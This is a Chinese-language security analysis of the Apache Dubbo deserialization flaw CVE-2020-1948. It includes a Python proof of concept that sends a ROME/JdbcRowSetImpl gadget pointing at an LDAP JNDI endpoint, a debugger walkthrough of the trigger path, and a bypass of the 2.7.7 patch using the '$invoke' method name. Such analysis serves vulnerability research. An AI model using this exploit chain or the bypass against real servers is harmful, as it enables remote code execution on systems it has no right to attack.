from hessian2 import new_object
from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/ExploitMac",
      strMatchColumns=["fxx"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='com.example.provider.service.UesrService',
    method_name='test',
    args=[toStringBean])

不难看出，该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean，所以Provider的pom.xml中需要添加rometools的引用

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.7.0</version>
</dependency>

通过wireshark抓包来看一下 POC发出的报文内容

我们将断点打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代码上。

跟进该方法后可以看到该方法内首先会进行一个if判断，判断完成后会调用DecodeableRpcInvocation.decode()方法并传递进去两个参数，其中有一个inputStream参数，我们详细看一下该参数的内容

可以看到正是我们通过POC发送的序列化数据

跟进该方法，在第131行代码处有一个if判断，这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。

紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数

仔细观察一下此时args指向的ToStringBean对象的详细内容，可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。

当前方法执行完成后 args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性，然后当前DecodeableRpcInvocation作为参数进行返回

返回到DecodeHandler中，在第51行代码中传入的message参数是一个Request对象，该Request对象是dubbo的包中的，简单看一下该对象的详细信息

跟进该方法，然后继续跟进handleRequest()方法。

在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException，关键点就在这里，可以看到传入的参数中采用了字符串拼接的形式，当使用字符串拼接的时候，会自动调用StringBuilder的对象的append方法，依次处理channel.getRemoteAddress()的返回值，channel.getLocalAddress()的返回值，getInvocationWithoutData(inv)的返回值，而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象，StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串

DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法，看一下RpcInvocation.toString()方法的实现

同样还是字符串拼接，其中Arrays.toString(arguments)，agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。

ToStringBean.toString()方法，执行时取出其中的obj属性获取其类名称，并作为参数传入另一个重写的toString方法

该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法，当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时，会触发JDNI远程访问dataSource

我们可以看到dataSource的值

至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕

补丁绕过分析

更新后的2.7.7版本该判断的代码如下，可见在该判断內有增加了一个if 判断，且新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。

那么如何绕过该判断让程序继续执行下去从而触发远程代码执行，我们跟入RpcUtils.isGenericCall()方法中来仔细观察。

不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。

我门看一下两个常量的值

我们此时 method的值为“test”可见并不相同，紧接着进入RpcUtils.isEcho()方法，同样是和常量进行对比，显然结果也不相同

所以if 判断内的最终结果为true，从而抛出异常终止执行。绕过的方法相比大家也都想到了，我们只要让method的值等于“$invoke”，“$invokeAsync”，“$echo”任意一个即可绕过。我们返回POC中查看与method对应的值是哪一个

一眼就能发现其中的method_name就是我们要找的，我们只需要修改‘test’为‘$invoke’即可对当前补丁进行绕过。

总结